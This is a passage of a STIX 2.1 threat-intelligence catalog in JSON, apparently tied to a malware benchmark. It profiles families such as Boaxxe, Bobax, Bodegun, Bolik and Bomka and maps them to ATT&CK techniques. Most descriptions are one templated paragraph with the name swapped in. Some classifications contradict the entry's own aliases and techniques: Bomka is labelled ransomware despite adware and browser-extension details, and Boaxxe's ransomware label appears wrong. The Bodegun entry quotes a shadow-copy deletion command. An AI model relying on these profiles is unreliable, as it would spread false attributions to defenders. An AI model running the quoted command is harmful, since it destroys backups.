      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnqp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c1ac012-2dab-51a7-9c82-845aa0856de7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1525b8fd-7b7d-52de-ba58-4fbcb425122d",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnqp exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cc2433a3-efce-544d-bfa0-89bd57a14a93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bnuaaewgb2Fb",
      "description": "Bnuaaewgb2Fb (classified in antivirus detection telemetry under designations including Ransom:Win32/Bnuaaewgb2Fb, Ransom.Win32.Bnuaaewgb2Fb, and Win32/Bnuaaewgb2Fb) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bnuaaewgb2Fb executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Bnuaaewgb2fb",
        "Win32/Trojan.Obfuscated",
        "Suspicious.DGA",
        "Ransom:Win32/Bnuaaewgb2Fb",
        "Ransom.Win32.Bnuaaewgb2Fb",
        "Win32/Bnuaaewgb2Fb"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bnuaaewgb2Fb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bnuaaewgb2fb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72839ef4-7acf-5528-a20b-1c82bf2ef2fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc2433a3-efce-544d-bfa0-89bd57a14a93",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnuaaewgb2Fb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0704f7f7-744a-5dcc-b607-13b7d34b5267",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc2433a3-efce-544d-bfa0-89bd57a14a93",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnuaaewgb2Fb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fdb2e0cf-8b49-5cf0-a846-3861b77065fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc2433a3-efce-544d-bfa0-89bd57a14a93",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnuaaewgb2Fb exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4082363f-ea85-55e2-a2de-cc26bf438622",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cc2433a3-efce-544d-bfa0-89bd57a14a93",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bnuaaewgb2Fb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dac93b39-1153-5032-8701-2235b2bae65e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Boaxxe",
      "description": "Boaxxe (classified in antivirus detection telemetry under designations including Ransom:Win32/Boaxxe, Ransom.Win32.Boaxxe, and Win32/Boaxxe) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Boaxxe executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Boaxxe",
        "Ransom.Win32.Boaxxe",
        "Win32/Boaxxe"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Boaxxe",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/boaxxe"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8667bd3-f48c-5c3a-86f7-e8695403b374",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dac93b39-1153-5032-8701-2235b2bae65e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boaxxe exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--432c28a9-5a06-5683-8fc0-02b991e30aaa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dac93b39-1153-5032-8701-2235b2bae65e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boaxxe exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f26ad00f-592d-52da-88fd-bb5671f6e188",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dac93b39-1153-5032-8701-2235b2bae65e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boaxxe exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d7cb074-90e3-5429-a663-ec4b7b4a92bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dac93b39-1153-5032-8701-2235b2bae65e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boaxxe exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ef8a468-2351-540a-8374-74609b9ea4b5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dac93b39-1153-5032-8701-2235b2bae65e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boaxxe exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b22fe50-6de6-5a76-bc22-65b61b9cbb19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bobax",
      "description": "Bobax (classified in antivirus detection telemetry under designations including Trojan:Win32/Bobax, Trojan.Win32.Bobax, and Win32/Bobax) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bobax executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Bobax",
        "Trojan.Win32.Bobax",
        "Win32/Bobax"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bobax",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bobax"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2abfb8d6-7aec-5f0f-b85c-9eedd394ced1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b22fe50-6de6-5a76-bc22-65b61b9cbb19",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bobax exhibits technique T1210 (Exploitation of Remote Services (MS04-011 / MS03-026))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c6fccaf-fc55-5668-bf2f-68c17c670918",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b22fe50-6de6-5a76-bc22-65b61b9cbb19",
      "target_ref": "attack-pattern--c13f7538-cfc1-5a57-8ba2-d4055dfcc13c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bobax exhibits technique T1498.002 (Network Denial of Service: Reflection Amplification (Used for Spam/DDoS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cfb4c05f-3731-5af1-876c-6e57f1051641",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b22fe50-6de6-5a76-bc22-65b61b9cbb19",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bobax exhibits technique T1055 (Process Injection (Hiding in svchost.exe))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edadd24e-c7b1-5408-86f3-7f50b96a465a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9b22fe50-6de6-5a76-bc22-65b61b9cbb19",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bobax exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a6a9c2ed-dfc2-53f7-ad00-8094a2b54172",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bodegun",
      "description": "Bodegun (documented across threat intelligence repositories under signatures including Ransom:Win32/Bodegun, Trojan-Ransom.Win32.Bodegun, and Win32/Bodegun) is a high-impact Windows crypto-ransomware family discovered targeting corporate and small-business file servers. Distributed through weaponized spam attachments, malicious macros, and compromised Remote Desktop Protocol (RDP) sessions, Bodegun executes thorough pre-encryption enumeration to identify local storage drives and mapped SMB shares. It terminates running database services and backup agents using net stop commands, deletes volume shadow copies with 'vssadmin delete shadows /all /quiet', and suppresses system recovery alerts via bcdedit commands. Bodegun encrypts files using AES-256 in CBC mode with session keys protected by an embedded RSA master public key, appending the '.bodegun' extension to locked files, and writes ransom notes ('BODEGUN_README.txt') detailing Tor negotiation instructions. (Observed samples in benchmark: 17)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bodegun",
        "Trojan-Ransom.Win32.Bodegun",
        "Win32/Bodegun",
        "Ransom.Bodegun",
        "Bodegun Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bodegun",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bodegun"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--711ab6f9-ca56-5e1f-bb80-1109e9a9325a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Boht",
      "description": "Boht (classified in antivirus detection telemetry under designations including Ransom:Win32/Boht, Ransom.Win32.Boht, and Win32/Boht) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Boht executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Boht",
        "Ransom.Win32.Boht",
        "Win32/Boht"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Boht",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/boht"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9609861f-1bc0-5c12-9888-b82659d90008",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--711ab6f9-ca56-5e1f-bb80-1109e9a9325a",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boht exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4903e187-1d16-5b66-a1d7-171c4261e720",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--711ab6f9-ca56-5e1f-bb80-1109e9a9325a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boht exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9fe0ba21-e7dc-587f-8586-10ead9580add",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--711ab6f9-ca56-5e1f-bb80-1109e9a9325a",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boht exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a69c1eb4-9044-5807-b493-226e6800c4a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--711ab6f9-ca56-5e1f-bb80-1109e9a9325a",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boht exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5b0712a-a8fa-5b38-b8d4-7fe083dee257",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--711ab6f9-ca56-5e1f-bb80-1109e9a9325a",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Boht exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1da51820-a22b-556e-83ef-b412a9f3035e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Boilod",
      "description": "Boilod (cataloged under signatures including Adware:Win32/Boilod, Backdoor:MSIL/Boilod!pz, and PUA:Win32/Boilod) is an aggressive adware, browser hijacker, and riskware loader active since 2017. Bundled with third-party software downloaders and pirated utilities, Boilod installs persistent background services and scheduled tasks to inject unauthorized advertisements, banner overlays, and promotional search redirects into victim web browsers. Furthermore, hybrid MSIL variants include secondary backdoor functionality capable of checking in with remote telemetry endpoints and downloading additional adware bundles or monetization toolbars. (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Boilod",
        "Backdoor:MSIL/Boilod!pz",
        "Adware.Win32.Boilod",
        "PUA:Win32/Boilod",
        "Win32/Boilod"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Boilod",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/boilod"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a870daea-f11f-55d2-a30d-90a8a8421e0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bolik",
      "description": "Bolik (classified in antivirus detection telemetry under designations including Trojan:Win32/Bolik, Trojan.Win32.Bolik, and Win32/Bolik) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bolik executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Banker.Win32.Bolik",
        "Carberp.Variant",
        "Win32/Bolik",
        "Trojan:Win32/Bolik",
        "Trojan.Win32.Bolik"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bolik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bolik"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a84fdf29-592d-5adb-93b0-55bcd9038e0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a870daea-f11f-55d2-a30d-90a8a8421e0f",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bolik exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13be18cb-95e6-56cf-88e7-c2d0a7850dcd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a870daea-f11f-55d2-a30d-90a8a8421e0f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bolik exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cea2ce67-5971-5a0e-a3ab-b2cc174253ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a870daea-f11f-55d2-a30d-90a8a8421e0f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bolik exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de5a8de5-3e90-507c-bd4c-82712424a0f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a870daea-f11f-55d2-a30d-90a8a8421e0f",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bolik exhibits technique T1090 (Proxy)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a7d61472-368c-5336-a957-88dac4cee630",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bomka",
      "description": "Bomka (classified in antivirus detection telemetry under designations including Ransom:Win32/Bomka, Ransom.Win32.Bomka, and Win32/Bomka) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bomka executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.Bomka",
        "PUP.Bomka",
        "BrowserModifier:Win32/Bomka",
        "Ransom:Win32/Bomka",
        "Ransom.Win32.Bomka",
        "Win32/Bomka"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bomka",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/bomka"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edc65637-0493-5905-a8a8-d5cf80169a63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7d61472-368c-5336-a957-88dac4cee630",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bomka exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e896ff9-ed75-5c68-b633-02d37d5e864a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7d61472-368c-5336-a957-88dac4cee630",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bomka exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0e347a7f-0a39-5914-b465-cfe5c8f03a29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7d61472-368c-5336-a957-88dac4cee630",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bomka exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc1873b1-74c5-58e7-827e-4473282f7e10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Bonkyhp",
      "description": "Bonkyhp (classified in antivirus detection telemetry under designations including Ransom:Win32/Bonkyhp, Ransom.Win32.Bonkyhp, and Win32/Bonkyhp) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Bonkyhp executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Bonkyhp",
        "Ransom.Win32.Bonkyhp",
        "Win32/Bonkyhp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Bonkyhp",
